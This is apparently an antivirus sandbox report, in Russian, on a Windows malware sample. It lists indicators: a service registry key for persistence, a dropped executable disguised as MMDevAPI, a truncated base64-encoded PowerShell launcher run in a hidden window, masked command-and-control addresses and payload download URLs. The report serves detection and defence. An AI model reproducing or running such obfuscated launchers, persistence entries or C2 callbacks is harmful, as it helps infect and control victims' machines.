Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\MMDevAPI] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\MMDevAPI] 'ImagePath' = '"%WINDIR%\SysWOW64\mfc100u\MMDevAPI.exe"'
- 'MMDevAPI' "%WINDIR%\SysWOW64\mfc100u\MMDevAPI.exe"
- 'MMDevAPI' %WINDIR%\SysWOW64\mfc100u\MMDevAPI.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABCAFcAUQBEAEgAegBhAHkAPQAnAFcAUABSAEgAWAB4AHoAbQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAARQBjAFUAYABSAGkAdABgAFkAUABSAE8AVABPAGAAQwBvAEwAIgAgAD...
- %HOMEPATH%\76.exe
- %HOMEPATH%\76.exe в %WINDIR%\syswow64\mfc100u\mmdevapi.exe
- '24.##9.135.121':80
- '18#.#4.252.13':443
- '14#.#2.173.247':8080
- '50.##.51.143':8080
- '80.##9.176.206':80
- '5.###.35.138':7080
- '19#.#7.195.202':80
- '14#.#.87.101':80
- http://ju#####playground.net/wp-content/b40e81/
- http://18#.##.252.13:443/QdWCNquwpDdaujb9/6QZcEvbUsKbrNBggXP/GHluxaS/ via 18#.#4.252.13
- http://14#.##.173.247:8080/4CvkNp6E/ss0ud/PHc3uv/ via 14#.#2.173.247
- DNS ASK ju#####playground.net
- '%HOMEPATH%\76.exe'
- '%WINDIR%\syswow64\mfc100u\mmdevapi.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABCAFcAUQBEAEgAegBhAHkAPQAnAFcAUABSAEgAWAB4AHoAbQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAARQBjAFUAYABSAGkAdABgAFkAUABSAE8AVABPAGAAQwBvAEwAIgAgAD...' (со скрытым окном)